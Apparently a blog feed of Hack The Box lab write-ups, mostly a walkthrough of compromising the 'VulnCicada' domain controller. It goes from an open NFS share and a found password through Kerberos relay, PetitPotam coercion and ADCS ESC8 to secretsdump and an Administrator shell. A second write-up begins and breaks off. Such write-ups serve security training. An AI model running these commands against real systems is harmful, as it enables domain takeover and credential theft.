b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/ | b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF | AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e | mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0 | 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY | Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR | L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi | XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg== |_-----END CERTIFICATE----- 2049/tcp open nlockmgr syn-ack ttl 127 1-4 (RPC #100021) 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl | Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-06T18:16:42 | Not valid after: 2026-09-06T18:16:42 | MD5: bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a | SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712 | -----BEGIN CERTIFICATE----- | MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF | ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx | HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN | MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB | IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv | JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA | MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er | A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV | Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1 | bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID | AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0 | AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV | HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI | KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD | BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3 | GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3 | OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ | dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3 | Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w | WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt | REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy | MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9 | Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl | Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw | gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO | PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D | b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/ | b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF | AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e | mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0 | 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY | Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR | L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi | XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-JPQ225.cicada.vl | Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-06T18:16:42 | Not valid after: 2026-09-06T18:16:42 | MD5: bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a | SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712 | -----BEGIN CERTIFICATE----- | MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF | ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx | HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN | MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB | IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv | JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA | MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er | A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV | Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1 | bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID | AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0 | AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV | HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI | KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD | BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3 | GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3 | OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ | dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3 | Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w | WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt | REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy | MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9 | Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl | Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw | gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO | PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D | b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/ | b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF | AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e | mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0 | 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY | Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR | L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi | XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services | ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl | Issuer: commonName=DC-JPQ225.cicada.vl | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-04-09T08:36:14 | Not valid after: 2025-10-09T08:36:14 | MD5: f13b:3481:00fe:742d:b289:2a44:9aea:763c | SHA-1: ac61:95c8:b55d:0e99:a594:56f4:48c4:e7d1:6999:96b3 | -----BEGIN CERTIFICATE----- | MIIC6jCCAdKgAwIBAgIQNCY/0xacrp1Cgph0o7/EVDANBgkqhkiG9w0BAQsFADAe | MRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMB4XDTI1MDQwOTA4MzYxNFoX | DTI1MTAwOTA4MzYxNFowHjEcMBoGA1UEAxMTREMtSlBRMjI1LmNpY2FkYS52bDCC | ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMD1KYuFyCTatOninwC0jOUf | XKXX5gBEBj4kxS+d9yP56mMrY/KrEA+NScVoPiX3+1nHwxAaTMt5w87MdzQMKuuD | iVuRkGfXjLAyZr5UPksxd7oBqg0RfJItYKygORbvrSJBiyjSZEStPdo4iRF1uT5+ | 7BO1aOotkssJuomFKN5xXcqs2RYw2HldZZEy5jWpn6404R5dKNIMXGPl1sklA7zZ | RASYBXC9hMz8hvcMdeke8NDYWXg/e2GLY83gbm3M6QZ//nMILaLVCUWaGltqv69f | LX08oXQ6DFqbSpHfQwjk+CK3XRQThz60SBY264m+DnovRpFPmxA4i8oe0T1/QAkC | AwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqG | SIb3DQEBCwUAA4IBAQCna6lg9KzBWoGwmyEv5l1v9E/nEdDH4fJo6FYsTafgYZiA | FRxJqz5g/swGjnCCVUfl6Rjblm2jOjrlLk7JNLyeZ5lYObOwEljgm2u4YVvLXb99 | 9Q+ThsxgdEOv4BmD0KaWrBVq0Y38gx2Xe+CMeCpDLhsjAl0lIYRFAHZ2NxLUZd7j | K0+G0Q60mwUV512n7VtzL7B04lpo10rXNGPAyfDw6m14w64T0H67V69bDr1LO876 | 3VFOADcaMBF4RE3UoPrXimKw/XA9dE/c9y4CdWAcN1gUFwkhoW3NYKMWiHgSOZ41 | oMl1GGfQyFXyXXLfM+F3t/Kzb/oTJKZVHMUGA/cZ |_-----END CERTIFICATE----- |_ssl-date: 2025-09-06T18:30:43+00:00; +3s from scanner time. 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 60737/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 61070/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 61153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 62775/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.95%E=4%D=9/6%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=68BC7DEF%P=x86_64-pc-linux-gnu) SEQ(SP=100%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=A) SEQ(SP=101%GCD=1%ISR=10E%TI=I%II=I%SS=S%TS=A) OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC) ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=N) U1(R=N) IE(R=Y%DFI=N%TG=80%CD=Z) Uptime guess: 0.005 days (since Sat Sep 6 19:24:00 2025) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=257 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC-JPQ225; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 3811/tcp): CLEAN (Timeout) | Check 2 (port 50031/tcp): CLEAN (Timeout) | Check 3 (port 7565/udp): CLEAN (Timeout) | Check 4 (port 58555/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_clock-skew: mean: 2s, deviation: 0s, median: 1s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-09-06T18:30:04 |_ start_date: N/A TRACEROUTE (using port 135/tcp) HOP RTT ADDRESS 1 51.07 ms 10.10.14.1 (10.10.14.1) 2 52.29 ms 10.129.132.149 (10.129.132.149) Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Sep 6 19:31:11 2025 -- 1 IP address (1 host up) scanned in 180.65 seconds </code></pre> <h2>Analysis of Scan Results</h2> <p>The Nmap scan revealed this is a Windows Domain Controller with several critical services exposed. The most interesting findings include:</p> <ul> <li><strong>Port 2049 (NFS)</strong>: Network File System - often misconfigured in enterprise environments</li> <li><strong>Ports 389/636 (LDAP/LDAPS)</strong>: Active Directory services</li> <li><strong>Port 88 (Kerberos)</strong>: Domain authentication</li> <li><strong>Port 445 (SMB)</strong>: File sharing protocol</li> </ul> <p>The SSL certificate revealed the domain name <code>cicada.vl</code> and hostname <code>DC-JPQ225.cicada.vl</code>.</p> <h2>Updating Hosts File</h2> <p>To properly interact with the Active Directory environment, I added the domain information to my local hosts file:</p> <pre><code>└─$ echo -e "10.129.234.48\tDC-JPQ225.cicada.vl\tcicada.vl\tDC-JPQ225" | sudo tee -a /etc/hosts 10.129.234.48 DC-JPQ225.cicada.vl cicada.vl DC-JPQ225 </code></pre> <p>This ensures proper name resolution for Kerberos authentication and other domain-specific operations.</p> <h2>NFS Enumeration</h2> <p>Since I discovered NFS running on port 2049, I decided to enumerate available exports. NFS is often misconfigured and can expose sensitive data:</p> <pre><code>└─$ showmount -e 10.129.234.48 Export list for 10.129.234.48: /profiles (everyone) </code></pre> <p>The <code>/profiles</code> directory was exported with "everyone" permissions which is a significant security misconfiguration.</p> <h2>Mounting the NFS Share</h2> <p>Since the NFS share was accessible to everyone, I mounted it locally to examine its contents:</p> <pre><code>└─$ sudo mkdir /mnt/profiles &amp;&amp; sudo mount -t nfs 10.129.234.48:/profiles /mnt/profiles -o nolock </code></pre> <pre><code>└─$ ls /mnt/profiles Administrator Daniel.Marshall Debra.Wright Jane.Carter Jordan.Francis Joyce.Andrews Katie.Ward Megan.Simpson Richard.Gibbons Rosie.Powell Shirley.West </code></pre> <p>I found multiple user profiles, including the high-privilege <code>Administrator</code> account and several standard user accounts.</p> <h2>Enumerating User Profiles</h2> <p>While exploring the mounted folder, I discovered that the Administrator and Rosie.Powell folders contained image files each: <img src="images/image.png" alt="alt text" /></p> <h2>Discovering Credentials</h2> <p>I opened both images and found that the image named <code>marketing.png</code> in Rosie.Powell's folder contained a note with "Cicada123" - which looked like a potential password!</p> <p><img src="images/image-1.png" alt="alt text" /></p> <h2>Credential Validation</h2> <p>I decided to test if "Cicada123" could be the password for Rosie.Powell using NetExec:</p> <pre><code>nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 </code></pre> <p><img src="images/image-2.png" alt="alt text" /></p> <p>The results showed that NTLM was disabled on this domain controller. This is actually a security best practice, but it meant I needed to use Kerberos authentication instead by adding the <code>-k</code> flag:</p> <pre><code>nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k </code></pre> <p><img src="images/image-3.png" alt="alt text" /></p> <p>The authentication was successful, confirming that I had valid domain credentials for the user Rosie.Powell. This gave me my initial foothold in the Active Directory environment.</p> <h2>Share Enumeration</h2> <p>Now that I had valid credentials, I enumerated the available shares using the Rosie.Powell account and discovered that it had READ access to the CertEnroll share, which is an Active Directory Certificate Services (ADCS) share:</p> <p><img src="images/image-4.png" alt="alt text" /></p> <p>ADCS environments often contain vulnerabilities that can be exploited for privilege escalation.</p> <h2>Certificate Services Enumeration</h2> <p>With access to the Certificate Services share, I used Certipy to enumerate enabled and vulnerable certificates using the Rosie.Powell account:</p> <pre><code>certipy-ad find -u "Rosie.Powell@cicada.vl" -p "Cicada123" -k -dc-ip 10.129.234.48 -dc-host DC-JPQ225.cicada.vl -ns 10.129.234.48 -enabled -vulnerable -stdout </code></pre> <pre><code>Certipy v5.0.2 - by Oliver Lyak (ly4k) [!] KRB5CCNAME environment variable not set [!] Target name (-target) not specified and Kerberos authentication is used. This might fail [*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Finding issuance policies [*] Found 13 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'cicada-DC-JPQ225-CA' via RRP [*] Successfully retrieved CA configuration for 'cicada-DC-JPQ225-CA' [*] Checking web enrollment for CA 'cicada-DC-JPQ225-CA' @ 'DC-JPQ225.cicada.vl' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : cicada-DC-JPQ225-CA DNS Name : DC-JPQ225.cicada.vl Certificate Subject : CN=cicada-DC-JPQ225-CA, DC=cicada, DC=vl Certificate Serial Number : 1459CFA9F5752BB6494FFAE4866344A9 Certificate Validity Start : 2025-09-08 22:25:32+00:00 Certificate Validity End : 2525-09-08 22:35:32+00:00 Web Enrollment HTTP Enabled : True HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : CICADA.VL\Administrators Access Rights ManageCa : CICADA.VL\Administrators CICADA.VL\Domain Admins CICADA.VL\Enterprise Admins ManageCertificates : CICADA.VL\Administrators CICADA.VL\Domain Admins CICADA.VL\Enterprise Admins Enroll : CICADA.VL\Authenticated Users [!] Vulnerabilities ESC8 : Web Enrollment is enabled over HTTP. Certificate Templates : [!] Could not find any certificate templates </code></pre> <h2>Identifying ESC8 Vulnerability</h2> <p>I discovered that the Certificate Authority (CA) was vulnerable to <strong>ESC8</strong>, which is a vulnerability related to ADCS Web Enrollment. According to research from <a href="https://abrictosecurity.com/pentesting-active-directory-certificate-services-adcs-esc1-esc8/">abrictosecurity</a>, ADCS Web Enrollment deploys a web server that enables clients to request certificate templates. This web server supports NTLM authentication, making it susceptible to relay attacks.</p> <p>Since NTLM was disabled on this domain controller, I needed to look for Kerberos relaying attack possibilities.</p> <p>Researching Kerberos Relay Attacks I found an interesting article from <a href="https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx.html">synacktiv</a> about relaying Kerberos over SMB. This technique would allow me to exploit the ESC8 vulnerability even with NTLM disabled.</p> <h2>Setting up DNS Poisoning</h2> <p>Following the Synacktiv article, I added a DNS record to prepare for the Kerberos relay attack:</p> <pre><code>└─$ python3 dnstool.py -k -u 'CICADA.VL\\ROSIE.POWELL' -r 'DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' -dns-ip 10.129.202.65 -d 10.10.15.0 --tcp DC-JPQ225.cicada.vl --action add [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully </code></pre> <p>This DNS record would redirect traffic to my controlled server, enabling the relay attack.</p> <h2>Setting up Certificate Relay</h2> <p>Next, I set up a Certipy relay server targeting the HTTP web enrollment service:</p> <pre><code>└─$ certipy-ad relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Targeting http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp (ESC8) [*] Listening on 0.0.0.0:445 [*] Setting up SMB Server on port 445 </code></pre> <p>This command set up a relay server that would capture authentication attempts and request a DomainController certificate template.</p> <h2>Triggering Authentication Coercion</h2> <p>In a separate terminal, I used NetExec with the coerce_plus module to force the domain controller to authenticate to my malicious DNS record:</p> <pre><code>└─$ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam </code></pre> <p><img src="images/image-6.png" alt="alt text" /></p> <p>The coercion was successful The PetitPotam method forced the domain controller to authenticate to my controlled server.</p> <h2>Capturing the Domain Controller Certificate</h2> <p>Back on the Certipy relay terminal, I successfully received the DomainController certificate:</p> <p><img src="images/image-5.png" alt="alt text" /></p> <p>Now that I have the <code>dc-jpq225.pfx</code> certificate for the Domain Controller, it will allow me to impersonate the DC and dump credentials.</p> <h2>Requesting TGT with Certificate</h2> <p>With the Domain Controller certificate in hand, I used Certipy's auth module to request a TGT (Ticket Granting Ticket) that I could use for further operations:</p> <pre><code>└─$ certipy-ad auth -pfx dc-jpq225.pfx -dc-ip 10.129.202.65 </code></pre> <p><img src="images/image-7.png" alt="alt text" /></p> <p>I now have a valid Kerberos ticket cache file (<code>dc-jpq225.ccache</code>) that would allow me to authenticate as the Domain Controller.</p> <h2>Dumping Administrator Credentials</h2> <p>With the TGT in place, I used Impacket's secretsdump tool to extract the Administrator's password hash from the domain controller:</p> <pre><code>KRB5CCNAME=dc-jpq225.ccache impacket-secretsdump -debug -k -no-pass \ 'cicada.vl/dc-jpq225$@DC-JPQ225.cicada.vl' \ -just-dc-user administrator </code></pre> <p><img src="images/image-8.png" alt="alt text" /></p> <p>I successfully dumped the Administrator's credentials, including both NTLM and AES encryption keys.</p> <h2>Obtaining Administrator TGT</h2> <p>Using the extracted AES key, I requested a fresh TGT for the Administrator account:</p> <pre><code>└─$ impacket-getTGT -aesKey f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a CICADA.VL/Administrator Impacket v0.13.0.dev0+20250801.113918.849c74b7 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in Administrator.ccache </code></pre> <p>I have a valid Administrator TGT saved as <code>Administrator.ccache</code>.</p> <p>Finally, I used Impacket's psexec tool to obtain a shell on the domain controller with Administrator privileges:</p> <p><img src="images/image-9.png" alt="alt text" /></p> <p>I achieved complete compromise of the VulnCicada domain controller and got the flags</p> https://dahmanisec.me/posts/thefrizz/thefrizz/https://dahmanisec.me/posts/thefrizz/thefrizz/Hack The Box Windows machine, medium difficultyMon, 24 Mar 2025 00:00:00 GMT<h1>User Flag</h1> <h2>Nmap Scan</h2> <p>As always we start with an Nmap scan</p> <pre><code># Nmap 7.95 scan initiated Sat Mar 15 21:21:24 2025 as: /usr/lib/nmap/nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.60 Nmap scan report for 10.10.11.60 (10.10.11.60) Host is up (0.050s latency). Not shown: 65520 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh? | fingerprint-strings: | NULL: |_ Exceeded MaxStartups 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12) |_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/ 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 64081/tcp open msrpc Microsoft Windows RPC 64085/tcp open msrpc Microsoft Windows RPC 64093/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.95%I=7%D=3/15%Time=67D5EF6F%P=x86_64-pc-linux-gnu%r(NULL SF:,16,"Exceeded\x20MaxStartups\r\n"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h00m00s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-03-16T04:22:59 |_ start_date: N/A TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 1 50.73 ms 10.10.14.1 (10.10.14.1) 2 50.81 ms 10.10.11.60 (10.10.11.60) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Mar 15 21:24:35 2025 -- 1 IP address (1 host up) scanned in 191.48 seconds </code></pre> <p>I added <code>frizzdc.frizz.htb</code>to <code>/etc/hosts</code></p> <pre><code>echo -e "10.10.11.60\tfrizzdc.frizz.htb" | sudo tee -a /etc/hosts 10.10.11.60 frizzdc.frizz.htb </code></pre> <p>I then looked at <code>frizzdc.frizz.htb</code> to check what we have <img src="1.png" alt="" /> It is an educational website powered by Gibbon <img src="2.png" alt="" /> The first thing I noticed was a notice stating that <strong>accounts will be unavailable for 48 hours due to Gibbon's migration to Azure AD SSO</strong>. Additionally, I observed that the Gibbon version is <strong>25.0.00</strong>. A quick googling shows that this version of Gibbon has a lot of vulnerabilities <img src="3.png" alt="" /> One critical issue in 